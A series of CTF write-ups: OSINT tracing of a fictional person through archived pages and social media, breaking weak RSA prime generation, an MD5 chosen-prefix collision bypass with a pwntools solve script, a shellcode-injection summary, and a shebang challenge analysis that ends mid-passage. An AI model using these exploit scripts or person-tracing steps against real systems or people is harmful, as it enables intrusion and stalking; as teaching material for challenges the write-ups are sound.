1. Go to https://archive.org/web/2. Type the link of Eword CTFtime team page and click (browse history):
Youβll find previous versions of Eword CTFtime webpage:
That one looks interesting, it has a Pastebin link.
Open it and you will find the task:https://pastebin.com/8bk9qLX1
So, you need to find the leader of Eword team, and when you open the hint, you will find a base64 encoded image.https://pastebin.com/PZvaSjA0
You can use CyberChef to know what that base64 encoded text will give you:https://gchq.github.io/CyberChef/
```Note:You can use different sites/methods to get the image.I just explained one of the methods above.```
This is the image that you will get:
-----
**I put small clues in that image:**
The words βHotelβ and βAdvisorβ aims to βTrip Advisorβ site:
**The intended way to continue solving this challenge:****Locate that hotel from the image that you got, then search for it in Trip Advisor site and look in the reviews of that hotel.**
```Note:I know that there is a shorter way to reach the review, but itβs unintended and itβs guessy, so I wonβt mention it.```
To locate the hotel, you need to do reverse image searching.
```- Note: You shouldnβt search manually for all Hilton hotels, because there are too many Hilton hotels around the world! And thatβs why Iβve chosen a Hilton hotel (because I donβt want you to guess anything).```
One of the best sites to do reverse image searching is **Yandex** (https://yandex.com/images/)
Youβll find that the hotel is in Montenegro.
...
Go to TripAdvisor and search for that hotel:
https://www.tripadvisor.com/Hotel_Review-g304088-d600703-Reviews-Hilton_Podgorica_Crna_Gora-Podgorica_Podgorica_Municipality.html
Go to the reviews and you will find this one:
As you see, Eword is mentioned in the review, so this is the person who are you looking for!
-----
Now you need to find a flag in one of his social media accounts**(That was mentioned in the Pastebin link that you found before)**...I donβt want you to guess anything. So, I changed the TripAdvisor username of Eword leader to: (check_my_instagram)
So, you need to find his Instagram account, and you can do that in 2 ways:
1. Search for his name in Instagram.
**or**
2. Youβll find his username in his TripAdvisor bio too:
https://www.instagram.com/wokaihwokomaskustermann/
-----
Check the story highlights in his Instagram account, you will find 2 stories:
The second highlighted story is a hint about the flag location.
**So, check his Instagram full sized profile picture and you will get the flag.**
```There are a lot of sites/ methods to do that,Example:https://www.instadp.com/```
-----
# Fun facts:
- The pictures of Fred and Wokaihwokomas are for people who don't exist!```For more details, read more about (thispersondoesnotexist.com)```
- **"Fred Bloggs"** is a placeholder name!```Placeholder names are words that can refer to objects or people whose names do not exist, are temporarily forgotten, irrelevant, or unknown in the context in which they are being discussed.```
- **"Wokaihwokomas Kustermann"** is generated using a fake name generator! |
# Crypto: Chunk Norris
## Task Description
Chunk Norris is black belt in fast random number generation.
## First Look
We are given the following Python file, as well as its output
```#!/usr/bin/python3 -u
import randomfrom Crypto.Util.number import *import gmpy2
a = 0xe64a5f84e2762be5chunk_size = 64
def gen_prime(bits): s = random.getrandbits(chunk_size)
while True: s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size if gmpy2.is_prime(p): return p
n = gen_prime(1024) * gen_prime(1024)e = 65537flag = open("flag.txt", "rb").read()print('n =', hex(n))print('e =', hex(e))print('c =', hex(pow(bytes_to_long(flag), e, n)))```
It is clear from the last 3 lines that this is an RSA encryption scheme we need to break, and in order to do that, we need the prime factors `p` and `q` such that `n = pq`. This is only possible because of the weak prime generation code used in the `gen_prime` function
## Program Analysis
We see that the `gen_prime` function initializes the variable `s` at a random value, and then modifies it in the creation of a number, as well as performing a bitwise `OR` operation. We treat this as effectively randomizing `s` before each attempt to create a prime. From here on, when we refer to `s`, we mean the actual value of `s` that was set at the start of the iteration of the loop when the prime number was generated that is returned.
We also observe that the form of the prime generated is as follows, where each term is calculated modulo `2^64`:
```p = s << 960 + (s * a) << 896 + (s * a^2) << 832 + ... + (s * a^14) << 64 + (s * a^15)```The first observation that we make from this, is that the value of `p` is very close to `s * 2^960`, and in fact, given a certain `p`, we can caculate `s = p // 2^960`. This also means that we are able to use `n = pq` to get an approximation for `s1 * s2`, the product of the two `s` values used for the primes, as `n // 2^1920`. In fact, looking at `s1 * s2` as a 128-bit number, the most significant 64 bits will be at most `1` away from the real value. In order to obtain `s1 * s2`, however, we still need the lower 64 bits.
The second observation we make is that when multiplying two primes of this form, the least significant 64 bits of the product will be equal to `(s1 * a^15) * (s2 * a^15)` modulo `2^64`. This allows us to calculate the least significant 64 bits of `s1 * s2` as being equal to `(n // 2^64) * inverse(a^30, 2^64)`.
## Solution
Combining the above two parts, we get 3 (Or maybe 2? I am not very good at math) possibilities for `s1 * s2`. We can factor these on a site such as [factordb](https://factordb.com) to obtain the prime factors, and simply iterate over all factor pairs for `s1` and `s2`, and check if the primes generated with these two satisfy `pq = n`. Once we found these two primes, reversing the RSA encyption is trivial with `d = inverse(e, (p-1)*(q-1))` and `pt = pow(ct, d, n)`. Our solution script is as follows:
```from Crypto.Util.number import *from z3 import *from isqrt import *import randomfrom functools import reduce
n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19e = 0x10001ct = 0x6a12d56e26e460f456102c83c68b5cf355b2e57d5b176b32658d07619ce8e542d927bbea12fb8f90d7a1922fe68077af0f3794bfd26e7d560031c7c9238198685ad9ef1ac1966da39936b33c7bb00bdb13bec27b23f87028e99fdea0fbee4df721fd487d491e9d3087e986a79106f9d6f5431522270200c5d545d19df446dee6baa3051be6332ad7e4e6f44260b1594ec8a588c0450bcc8f23abb0121bcabf7551fd0ec11cd61c55ea89ae5d9bcc91f46b39d84f808562a42bb87a8854373b234e71fe6688021672c271c22aad0887304f7dd2b5f77136271a571591c48f438e6f1c08ed65d0088da562e0d8ae2dadd1234e72a40141429f5746d2d41452d916
a = 0xe64a5f84e2762be5
def get_prime(s): p = 0 for _ in range(1024 // 64): p = (p << 64) + s s = a * s % 2**64 return p
s1s2l = ((n%(2**64))*inverse(a**30, 2**64))%2**64s1s2m = n//(2**(960*2))
print(((s1s2m) // 2**64 - 1) *2**64 + s1s2l)print(((s1s2m) // 2**64 + 0) *2**64 + s1s2l)print(((s1s2m) // 2**64 + 1) *2**64 + s1s2l)
# Use factordb.com to find prime factorization
def find_primes(): arr = [3, 5, 41, 43, 509, 787, 31601, 258737, 28110221, 93627982031] #arr = [11, 61, 443, 21751, 1933727, 53523187, 340661278587863] #arr = [79, 30577, 12153143, 7765238529536474698954633]
for i in range(2**len(arr)): mask = [(i>>j) & 1 for j in range(len(arr))] s1 = reduce(lambda x,y: x*y, [arr[j] for j in range(len(arr)) if mask[j]], 1) s2 = reduce(lambda x,y: x*y, [arr[j] for j in range(len(arr)) if not mask[j]], 1) if (p := get_prime(s1))*(q := get_prime(s2)) == n: return (p, q) return (0, 0)
p, q = find_primes()
d = inverse(e, (p-1)*(q-1))pt = pow(ct, d, n)print(long_to_bytes(pt))```
And neatly outputs the flag on the first try, `CTF{__donald_knuths_lcg_would_be_better_well_i_dont_think_s0__}` |
Use open and write syscalls to inject shellcode into the child process.Writeup features shellcode written (mostly) in C using linker script to do magic. |
## Description
```Category: CryptoDifficulty: EasyAuthor: 0x4d5a
Can you pass the guard who watches over the Doors of Durin?
Challenge Files: door.c gatekeeper.py```
## Analysis
Let's start by looking at `gatekeeper.py`:
```python#!/usr/bin/python3 import stringimport hashlibimport base64import socketimport time
goodHashes = {}
print("Welcome to the \"Doors of Durin\"")print("I'm the gatekeeper of this ancient place")print("A long time ago those doors weren't in need of a gatekeeper. But in recent time, especially after the big success of J.R.R. Tolkien, everyone knows the secret words. The passphrase to open the door to the precious flag!")print("The flag had a lot of visitors and wants to be kept alone. So its my job to keep anyout out")print("Only real skilled hackers are allowed here. Once you have proven yourself worthy, the flag is yours")
def generateSecretHash(byteInput): md5 = hashlib.md5() sha1 = hashlib.sha1() sha256 = hashlib.sha384()
blake2b = hashlib.blake2b()
md5.update(byteInput) sha1.update(md5.digest()) md5.update(sha1.digest())
for i in range(0, 2938): sha256.update(md5.digest())
for k in range(-8222, 1827, 2): sha1.update(sha256.digest()) sha256.update(sha1.digest())
for j in range(20, 384): blake2b.update(sha256.digest())
return blake2b.hexdigest()
def passToGate(byteInput): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect(("doorsofdurin_door", 1024)) s.settimeout(1) s.sendall(byteInput + b"\n") time.sleep(1) data = s.recv(1024) return data
while True: try: currentInput = input("Give me your input:")
bytesInput = base64.b64decode(currentInput) print("Doing magic, stand by") hashed = generateSecretHash(bytesInput)
if hashed in goodHashes: print(passToGate(bytesInput)) else: if b"sp3akfr1end4nd3nt3r" in bytesInput: print("Everybody knows the magic words. I can't hear it anymore! Go away! *smash*") exit(0) else: goodHashes[hashed] = bytesInput print(passToGate(bytesInput))
except Exception as e: print(e)```
It accepts base64 input, decodes it, and it will pass the decoded input through a socket to `door.c`. But notice that if you pass the magic word directly, it throws an error:
```python if hashed in goodHashes: print(passToGate(bytesInput)) else: if b"sp3akfr1end4nd3nt3r" in bytesInput: print("Everybody knows the magic words. I can't hear it anymore! Go away! *smash*") exit(0) else: goodHashes[hashed] = bytesInput print(passToGate(bytesInput))```
```kali@kali:~/Downloads/allesctf/doors$ echo sp3akfr1end4nd3nt3r | base64 | python3 gatekeeper.py Welcome to the "Doors of Durin"I'm the gatekeeper of this ancient placeA long time ago those doors weren't in need of a gatekeeper. But in recent time, especially after the big success of J.R.R. Tolkien, everyone knows the secret words. The passphrase to open the door to the precious flag!The flag had a lot of visitors and wants to be kept alone. So its my job to keep anyout outOnly real skilled hackers are allowed here. Once you have proven yourself worthy, the flag is yoursGive me your input:Doing magic, stand byEverybody knows the magic words. I can't hear it anymore! Go away! *smash*```
`generateSecretHash` starts with an MD5 hash of our input, and then piles on a bunch of other hashes on top of that:
```python md5 = hashlib.md5() sha1 = hashlib.sha1() sha256 = hashlib.sha384()
blake2b = hashlib.blake2b()
md5.update(byteInput) sha1.update(md5.digest()) md5.update(sha1.digest())...```
This is important, because MD5 is weak and this looks like a hash collision thing.
Now look at `door.c`:
```c#include<stdio.h>#include <fcntl.h>#include <sys/types.h>#include <sys/stat.h>#include <string.h>#include <unistd.h>
#define MAGIC_WORD "sp3akfr1end4nd3nt3r"int main() { char input[255]; char flag[255];
scanf("%254s", input); printf("You said: %s\n", input);
if (strcmp(input, MAGIC_WORD) == 0) { int fd = open("./flag", O_RDONLY); if (fd == -1) { printf("Something went wrong! Thats a bug, please report!\n"); return 1; }
read(fd, flag, 254); printf("Flag: %s\n", flag); } else { printf("Nope :/\n"); }
return 0;}```
Once we get past the gatekeeper, the door will give us the flag if the `strcmp` matches `sp3akfr1end4nd3nt3r`.
In order to get past the gatekeeper, our first input needs to be something that does _not_ contain `sp3akfr1end4nd3nt3r` but still has the same md5 hash as a second input which _does_ contain `sp3akfr1end4nd3nt3r` and will pass the `strcmp` check in `door.c`. The first input will cause `gatekeeper.py` to add the hash to `goodHashes`, allowing our second input with the matching hash to be passed on to the door.
We need a chosen-prefix collision, which is much more expensive than an identical-prefix collision:
<https://github.com/corkami/collisions#chosen-prefix-collisions>
And after digging around and playing with a few tools, hashclash seemed to have everything we need:
<https://github.com/cr-marcstevens/hashclash>
You can compile this with CUDA enabled and it would be _way_ faster to run on a GPU, but unfortunately I didn't have quick access to an Nvidia GPU for this exercise. Need to get my AWS account setup with a GPU quota for next time.
So I ran this on my kali VM using 8 vcpu's of my Ryzen 2700X and it finished after ~5 hours:
```kali@kali:~/Downloads/hashclash/doors$ ../scripts/cpc.sh input.txt input2.txt ...Block 1: workdir6/coll1_1758829728cd 2f d6 b8 fb 7b 92 ce 37 84 2a 14 07 e5 bd 45 32 97 88 12 d7 ec e7 68 08 81 32 57 e5 28 25 9d 29 64 17 9f 02 6d bd d9 be e8 62 9e 18 b5 fe 25 0e 98 d1 c7 d7 7e c8 30 2f bd ae dd ad be 9d 00 Block 2: workdir6/coll2_1758829728cd 2f d6 b8 fb 7b 92 ce 37 84 2a 14 07 e5 bd 45 32 97 88 12 d7 ec e7 68 08 81 32 57 e5 28 25 9d 29 64 17 9f 02 6d bd d9 be e8 62 9e 18 b5 02 26 0e 98 d1 c7 d7 7e c8 30 2f bd ae dd ad be 9d 00 Found collision![*] Step 6 completed[*] Number of backtracks until now: 1[*] Collision generated: input.txt.coll input2.txt.collbbfb0268fa9c508de491736353a7a0f9 input.txt.collbbfb0268fa9c508de491736353a7a0f9 input2.txt.coll[*] Process completed in 308 minutes (1 backtracks).```
Only one problem: *I forgot the freakin' null char!*
```kali@kali:~/Downloads/hashclash/doors$ cat input.txt.coll | ./doorYou said: sp3akfr1end4nd3nt3r=bοΏ½uοΏ½MλοΏ½1οΏ½οΏ½0EοΏ½qοΏ½Nope :/```
Let's clean up and try that again:
```kali@kali:~/Downloads/hashclash/doors$ rm *.coll *.bin step*.logkali@kali:~/Downloads/hashclash/doors$ rm -r workdir* upper_1_640000/ logs/ data/kali@kali:~/Downloads/hashclash/doors$ perl -e 'print "sp3akfr1end4nd3nt3r\0"' > input.txtkali@kali:~/Downloads/hashclash/doors$ perl -e 'print "\0"' > input2.txtkali@kali:~/Downloads/hashclash/doors$ ../scripts/cpc.sh input.txt input2.txt...```
And at this point I'm worried if this will finish before the CTF is over, so I quickly spun up a 32x64 instance on digitalocean and ran the same thing there:
```root@ubuntu-c-32-64gib-sfo2-01:~/hashclash/doors# perl -e 'print "sp3akfr1end4nd3nt3r\0"' > file1.txtroot@ubuntu-c-32-64gib-sfo2-01:~/hashclash/doors# perl -e 'print "\0"' > file2.txtroot@ubuntu-c-32-64gib-sfo2-01:~/hashclash/doors# hexdump -C file1.txt00000000 73 70 33 61 6b 66 72 31 65 6e 64 34 6e 64 33 6e |sp3akfr1end4nd3n|00000010 74 33 72 00 |t3r.|00000014root@ubuntu-c-32-64gib-sfo2-01:~/hashclash/doors# hexdump -C file2.txt00000000 00 |.|00000001root@ubuntu-c-32-64gib-sfo2-01:~/hashclash/doors# ../scripts/cpc.sh file1.txt file2.txt...```
The 32 vcpu run finished first, in about 3 hours.
```Found collision![*] Step 10 completed[*] Number of backtracks until now: 3[*] Collision generated: file1.txt.coll file2.txt.coll08172ba29c07c72c055d4f58c786434a file1.txt.coll08172ba29c07c72c055d4f58c786434a file2.txt.coll[*] Process completed in 214 minutes (3 backtracks).```
So this was the input I used in my solution:
```root@ubuntu-c-32-64gib-sfo2-01:~/hashclash/doors# cat file1.txt.coll | base64 --wrap=0c3AzYWtmcjFlbmQ0bmQzbnQzcgA9YoQRAXXTTeuAk94xwdkwRfu+HnHwCmN1qDCqmBfK4wAAAAAL5sFBbqmL2SuFVqJ+/Wv3Icp+sViaoSk5sDHeoJ7pdwFQKAyoxlRj17aDLUQdmRpuOPIXGZPEDE9Pt7UBVdD5qQOm/OMxCJH6SXdU5wUGU6LwWNe3+BuV07DNa9X3rlB60gWRlFnQqSzEvvfLpWUSiL7QXoLn1CBP6LwHNdW2gWRSdG5802D7S00Gzig+MwyLLJLJCc7rPYgEISekGjsk00M5SGFho05Sf9ufwBiCIT0r8Re1mgHCRbnhmmmueTWWSLyX6+TpQxUd+b29mKPc62RoloV5EDagO+iSfuvtML3pPKUyWNIk2e79sn7D8xU6aOwXo57qUjFF0GkkR3kFg8WEdP9lWUrnK02nwn9ygpbfNJUvEXoZ/iaHmyaZMz42h70mg1UQbTBBNR+6sgfsNplzzHrkOHwna5ybyAPHlIsB2P/XcgzR50EUFlLXi8QZkHvkZY4/yTuM6SujWmdl4PukRWoLKzNAvdQ5EzDrARXd1UrdR5/AVUPebRYA3aLXB4oRDf12ugwayKapfgzjDz0gjheqdOk306c1C1W4vdW0RgLm7L87SifAR2gzbMV2jex6NvjFACrgRF2OrSQTUhkTP1SMwEzP0gI5j5wingNDw0clCn0shaItsnqrwmMP+fUCGjU5F7W+y3LwQ6VLTBPS+sVehDGMD+sJPAZ9eAW2n7yS6Grw9/6D2GswDSgDe42BgPRXhv+Odsrnd7s3bvEPHfATAkl5aCgtFhBq3nmOg0kq32bDW0F0NwHEAx/FCfx0CGX73IwzhMH11v/Mk7+8GGD5NJNhcvrG12rSrSAoSD0pAGW7kOOeyVmpm8URLKMUPU78oExKARkH7O/oP1qobvlbkeOiz/Ldgp3gv4OC/7qwtPsnFsBzaUZj5arm5mNrB4/+kWaA1l6OWtu9LBQV3i3QICfgGkcYojjskBKuQfhKV499
root@ubuntu-c-32-64gib-sfo2-01:~/hashclash/doors# cat file2.txt.coll | base64 --wrap=0AJclpvsXKBrTUmLLx1XXzYblX9CDAZtNVQZhq4gRivpNNLN1WUZWl+9sSgeQzP4Z189vkgAAAACu5SNcWp0NRyuFVqJ+/Wv3Icp+sViaoSk5sDHeoJ7pdwFQKAyoxlRj17aDLUQdmRpuOPIXGZPEFE9Pt7UBVdD5qQOm/OMxCJH6SXdU5wUGU6LwWNe3+BuV07DNa9X3rlB60gWRlFnQqSzEvvfLpWUSiL7QXoLf1CBP6LwHNdW2gWRSdG5802D7S00Gzig+MwyLLJLJCc7rPYgEISekGjsk00M5SGFho05Sf9ufwBiCIT0r8Re12gHCRbnhmmmueTWWSLyX6+TpQxUd+b29mKPc62RoloV5EDagO+iSfuvtML3pPKUyWNIk2e79sn7D8xU6aOwXo17qUjFF0GkkR3kFg8WEdP9lWUrnK02nwn9ygpbfNJUvEXoZ/iaHmyaZMz42h70mg1UQbTBBNR+6sgfsNplzzFrkOHwna5ybyAPHlIsB2P/XcgzR50EUFlLXi8QZkHvkZY4/yTuM6SujWmdl4PukRWoLKzNAvdQ5EzDrARXd1UrdP5/AVUPebRYA3aLXB4oRDf12ugwayKapfgzjDz0gjheqdOk306c1C1W4vdW0RgLm7L87SifAR2gzbMV2jex6NvnFACrgRF2OrSQTUhkTP1SMwEzP0gI5j5wingNDw0clCn0shaItsnqrwmMP+fUCGjU5F7W+y3LwQ6VLTBPS+sVegjGMD+sJPAZ9eAW2n7yS6Grw9/6D2GswDSgDe42BgPRXhv+Odsrnd7s3bvEPHfATAkl5aCgtFhBq3nmOg0kq3+bDW0F0NwHEAx/FCfx0CGX73IwzhMH11v/Mk7+8GGD5NJNhcvrG12rSrSAoSD0pAGW7kOOeyVmpm8URLKMUPU4EoUxKARkH7O/oP1qobvlbkeOiz/Ldgp3gv4OC/7qwtPsnFsBzaUZj5arm5mNrB4/+kWaA1l6OWtu9LBQV3jHQICfgGkcYojjskBKuQfhKV499```
For comparison, the 8 vcpu run on my Ryzen 2700X finally finished after about 8 hours. It probably would have taken a matter of minutes on a good GPU.
## Solution
We have a pair of files now with different prefixes but the same MD5 hash, and we know how to use that to get past the gatekeeper. Pass in file2, then file1:
```python#!/usr/bin/env python3from pwn import *
# base64 encoded file1.txt.collfile1="c3AzYWtmcjFlbmQ0bmQzbnQzcgA9YoQRAXXTTeuAk94xwdkwRfu+HnHwCmN1qDCqmBfK4wAAAAAL5sFBbqmL2SuFVqJ+/Wv3Icp+sViaoSk5sDHeoJ7pdwFQKAyoxlRj17aDLUQdmRpuOPIXGZPEDE9Pt7UBVdD5qQOm/OMxCJH6SXdU5wUGU6LwWNe3+BuV07DNa9X3rlB60gWRlFnQqSzEvvfLpWUSiL7QXoLn1CBP6LwHNdW2gWRSdG5802D7S00Gzig+MwyLLJLJCc7rPYgEISekGjsk00M5SGFho05Sf9ufwBiCIT0r8Re1mgHCRbnhmmmueTWWSLyX6+TpQxUd+b29mKPc62RoloV5EDagO+iSfuvtML3pPKUyWNIk2e79sn7D8xU6aOwXo57qUjFF0GkkR3kFg8WEdP9lWUrnK02nwn9ygpbfNJUvEXoZ/iaHmyaZMz42h70mg1UQbTBBNR+6sgfsNplzzHrkOHwna5ybyAPHlIsB2P/XcgzR50EUFlLXi8QZkHvkZY4/yTuM6SujWmdl4PukRWoLKzNAvdQ5EzDrARXd1UrdR5/AVUPebRYA3aLXB4oRDf12ugwayKapfgzjDz0gjheqdOk306c1C1W4vdW0RgLm7L87SifAR2gzbMV2jex6NvjFACrgRF2OrSQTUhkTP1SMwEzP0gI5j5wingNDw0clCn0shaItsnqrwmMP+fUCGjU5F7W+y3LwQ6VLTBPS+sVehDGMD+sJPAZ9eAW2n7yS6Grw9/6D2GswDSgDe42BgPRXhv+Odsrnd7s3bvEPHfATAkl5aCgtFhBq3nmOg0kq32bDW0F0NwHEAx/FCfx0CGX73IwzhMH11v/Mk7+8GGD5NJNhcvrG12rSrSAoSD0pAGW7kOOeyVmpm8URLKMUPU78oExKARkH7O/oP1qobvlbkeOiz/Ldgp3gv4OC/7qwtPsnFsBzaUZj5arm5mNrB4/+kWaA1l6OWtu9LBQV3i3QICfgGkcYojjskBKuQfhKV499"
# base64 encoded file2.txt.collfile2="AJclpvsXKBrTUmLLx1XXzYblX9CDAZtNVQZhq4gRivpNNLN1WUZWl+9sSgeQzP4Z189vkgAAAACu5SNcWp0NRyuFVqJ+/Wv3Icp+sViaoSk5sDHeoJ7pdwFQKAyoxlRj17aDLUQdmRpuOPIXGZPEFE9Pt7UBVdD5qQOm/OMxCJH6SXdU5wUGU6LwWNe3+BuV07DNa9X3rlB60gWRlFnQqSzEvvfLpWUSiL7QXoLf1CBP6LwHNdW2gWRSdG5802D7S00Gzig+MwyLLJLJCc7rPYgEISekGjsk00M5SGFho05Sf9ufwBiCIT0r8Re12gHCRbnhmmmueTWWSLyX6+TpQxUd+b29mKPc62RoloV5EDagO+iSfuvtML3pPKUyWNIk2e79sn7D8xU6aOwXo17qUjFF0GkkR3kFg8WEdP9lWUrnK02nwn9ygpbfNJUvEXoZ/iaHmyaZMz42h70mg1UQbTBBNR+6sgfsNplzzFrkOHwna5ybyAPHlIsB2P/XcgzR50EUFlLXi8QZkHvkZY4/yTuM6SujWmdl4PukRWoLKzNAvdQ5EzDrARXd1UrdP5/AVUPebRYA3aLXB4oRDf12ugwayKapfgzjDz0gjheqdOk306c1C1W4vdW0RgLm7L87SifAR2gzbMV2jex6NvnFACrgRF2OrSQTUhkTP1SMwEzP0gI5j5wingNDw0clCn0shaItsnqrwmMP+fUCGjU5F7W+y3LwQ6VLTBPS+sVegjGMD+sJPAZ9eAW2n7yS6Grw9/6D2GswDSgDe42BgPRXhv+Odsrnd7s3bvEPHfATAkl5aCgtFhBq3nmOg0kq3+bDW0F0NwHEAx/FCfx0CGX73IwzhMH11v/Mk7+8GGD5NJNhcvrG12rSrSAoSD0pAGW7kOOeyVmpm8URLKMUPU4EoUxKARkH7O/oP1qobvlbkeOiz/Ldgp3gv4OC/7qwtPsnFsBzaUZj5arm5mNrB4/+kWaA1l6OWtu9LBQV3jHQICfgGkcYojjskBKuQfhKV499"
context.log_level='DEBUG'p = process(['ncat','--ssl','7b00000094b6a46399d93bdb.challenges.broker4.allesctf.net','1337'])
# Our local copy of gatekeeper.py prompts for "Give me your input:"# But the remote service instead prompts for "Speak friend and enter: "p.recvuntil('Speak friend and enter: ')p.sendline(file2)p.recvuntil('Speak friend and enter: ')p.sendline(file1)p.recvall()```
Run it and we get our flag:
```[+] Starting local process '/usr/bin/ncat' argv=[b'ncat', b'--ssl', b'7b00000094b6a46399d93bdb.challenges.broker4.allesctf.net', b'1337'] : pid 15477[DEBUG] Received 0x1fd bytes: b'Welcome to the "Doors of Durin"\n' b"I'm the gatekeeper of this ancient place\n" b"A long time ago those doors weren't in need of a gatekeeper. But in recent time, especially after the big success of J.R.R. Tolkien, everyone knows the secret words. The passphrase to open the door to the precious flag!\n" b'The flag had a lot of visitors and wants to be kept alone. So its my job to keep anyone out\n' b'Only real skilled hackers are allowed here. Once you have proven yourself worthy, the flag is yours\n' b'Speak friend and enter: '[DEBUG] Sent 0x401 bytes: b'AJclpvsXKBrTUmLLx1XXzYblX9CDAZtNVQZhq4gRivpNNLN1WUZWl+9sSgeQzP4Z189vkgAAAACu5SNcWp0NRyuFVqJ+/Wv3Icp+sViaoSk5sDHeoJ7pdwFQKAyoxlRj17aDLUQdmRpuOPIXGZPEFE9Pt7UBVdD5qQOm/OMxCJH6SXdU5wUGU6LwWNe3+BuV07DNa9X3rlB60gWRlFnQqSzEvvfLpWUSiL7QXoLf1CBP6LwHNdW2gWRSdG5802D7S00Gzig+MwyLLJLJCc7rPYgEISekGjsk00M5SGFho05Sf9ufwBiCIT0r8Re12gHCRbnhmmmueTWWSLyX6+TpQxUd+b29mKPc62RoloV5EDagO+iSfuvtML3pPKUyWNIk2e79sn7D8xU6aOwXo17qUjFF0GkkR3kFg8WEdP9lWUrnK02nwn9ygpbfNJUvEXoZ/iaHmyaZMz42h70mg1UQbTBBNR+6sgfsNplzzFrkOHwna5ybyAPHlIsB2P/XcgzR50EUFlLXi8QZkHvkZY4/yTuM6SujWmdl4PukRWoLKzNAvdQ5EzDrARXd1UrdP5/AVUPebRYA3aLXB4oRDf12ugwayKapfgzjDz0gjheqdOk306c1C1W4vdW0RgLm7L87SifAR2gzbMV2jex6NvnFACrgRF2OrSQTUhkTP1SMwEzP0gI5j5wingNDw0clCn0shaItsnqrwmMP+fUCGjU5F7W+y3LwQ6VLTBPS+sVegjGMD+sJPAZ9eAW2n7yS6Grw9/6D2GswDSgDe42BgPRXhv+Odsrnd7s3bvEPHfATAkl5aCgtFhBq3nmOg0kq3+bDW0F0NwHEAx/FCfx0CGX73IwzhMH11v/Mk7+8GGD5NJNhcvrG12rSrSAoSD0pAGW7kOOeyVmpm8URLKMUPU4EoUxKARkH7O/oP1qobvlbkeOiz/Ldgp3gv4OC/7qwtPsnFsBzaUZj5arm5mNrB4/+kWaA1l6OWtu9LBQV3jHQICfgGkcYojjskBKuQfhKV499\n'[DEBUG] Received 0x16 bytes: b'Doing magic, stand by\n'[DEBUG] Received 0x31 bytes: b"b'You said: \\nNope :/\\n'\n" b'Speak friend and enter: '[DEBUG] Sent 0x401 bytes: b'c3AzYWtmcjFlbmQ0bmQzbnQzcgA9YoQRAXXTTeuAk94xwdkwRfu+HnHwCmN1qDCqmBfK4wAAAAAL5sFBbqmL2SuFVqJ+/Wv3Icp+sViaoSk5sDHeoJ7pdwFQKAyoxlRj17aDLUQdmRpuOPIXGZPEDE9Pt7UBVdD5qQOm/OMxCJH6SXdU5wUGU6LwWNe3+BuV07DNa9X3rlB60gWRlFnQqSzEvvfLpWUSiL7QXoLn1CBP6LwHNdW2gWRSdG5802D7S00Gzig+MwyLLJLJCc7rPYgEISekGjsk00M5SGFho05Sf9ufwBiCIT0r8Re1mgHCRbnhmmmueTWWSLyX6+TpQxUd+b29mKPc62RoloV5EDagO+iSfuvtML3pPKUyWNIk2e79sn7D8xU6aOwXo57qUjFF0GkkR3kFg8WEdP9lWUrnK02nwn9ygpbfNJUvEXoZ/iaHmyaZMz42h70mg1UQbTBBNR+6sgfsNplzzHrkOHwna5ybyAPHlIsB2P/XcgzR50EUFlLXi8QZkHvkZY4/yTuM6SujWmdl4PukRWoLKzNAvdQ5EzDrARXd1UrdR5/AVUPebRYA3aLXB4oRDf12ugwayKapfgzjDz0gjheqdOk306c1C1W4vdW0RgLm7L87SifAR2gzbMV2jex6NvjFACrgRF2OrSQTUhkTP1SMwEzP0gI5j5wingNDw0clCn0shaItsnqrwmMP+fUCGjU5F7W+y3LwQ6VLTBPS+sVehDGMD+sJPAZ9eAW2n7yS6Grw9/6D2GswDSgDe42BgPRXhv+Odsrnd7s3bvEPHfATAkl5aCgtFhBq3nmOg0kq32bDW0F0NwHEAx/FCfx0CGX73IwzhMH11v/Mk7+8GGD5NJNhcvrG12rSrSAoSD0pAGW7kOOeyVmpm8URLKMUPU78oExKARkH7O/oP1qobvlbkeOiz/Ldgp3gv4OC/7qwtPsnFsBzaUZj5arm5mNrB4/+kWaA1l6OWtu9LBQV3i3QICfgGkcYojjskBKuQfhKV499\n'[-] Receiving all data: Failed[DEBUG] Received 0x16 bytes: b'Doing magic, stand by\n'[DEBUG] Received 0x75 bytes: b"b'You said: sp3akfr1end4nd3nt3r\\nFlag: ALLES{st0p_us1ng_md5_alr34dy_BabyRage_1836d}\\n\\x7f\\n'\n" b'Speak friend and enter: '```
The flag is:
```ALLES{st0p_us1ng_md5_alr34dy_BabyRage_1836d}``` |
## Description
```Category: BashDifficulty: EasyAuthor: nopinjector
Shebang provides us with nice kernel-supported execution functionality since 1980.
Challenge Files: shebang.py Dockerfile ynetd```
## Analysis
We have 3 files, but `shebang.py` is the important one:
```python#!/usr/bin/python3 -uimport osimport secrets
NOBODY = 65534NOGROUP = 65534
def check_input(data): if b'.' in data: os._exit(1)
def main(): os.open('/bin/bash', os.O_RDONLY) fd = os.open('./flag', os.O_RDONLY) os.dup2(fd, 9)
path = os.path.join('/tmp', secrets.token_hex(16))
print("#!/d", end="") data = os.read(0, 0x10) os.close(0) check_input(data)
fd = os.open(path, os.O_CREAT | os.O_RDWR, 0o777) os.write(fd, b'#!/d' + data) os.close(fd)
pid = os.fork() if pid == 0: os.setresgid(NOGROUP, NOGROUP, NOGROUP) os.setresuid(NOBODY, NOBODY, NOBODY) try: os.execv(path, [path]) except: os._exit(-1) else: os.waitpid(pid, 0) os.unlink(path)
if __name__ == '__main__': main()```
Let's break it down. We can't use `.` in our input:
```pythondef check_input(data): if b'.' in data: os._exit(1)```
`main` opens 2 files right away. `/bin/bash` at fd `3`, and `./flag` which it dups to fd `9`.
```python os.open('/bin/bash', os.O_RDONLY) fd = os.open('./flag', os.O_RDONLY) os.dup2(fd, 9)```
Then it prompts for 16 bytes of input, prepends it with `#!/d`, and writes the contents to a file under `/tmp`:
```python path = os.path.join('/tmp', secrets.token_hex(16))
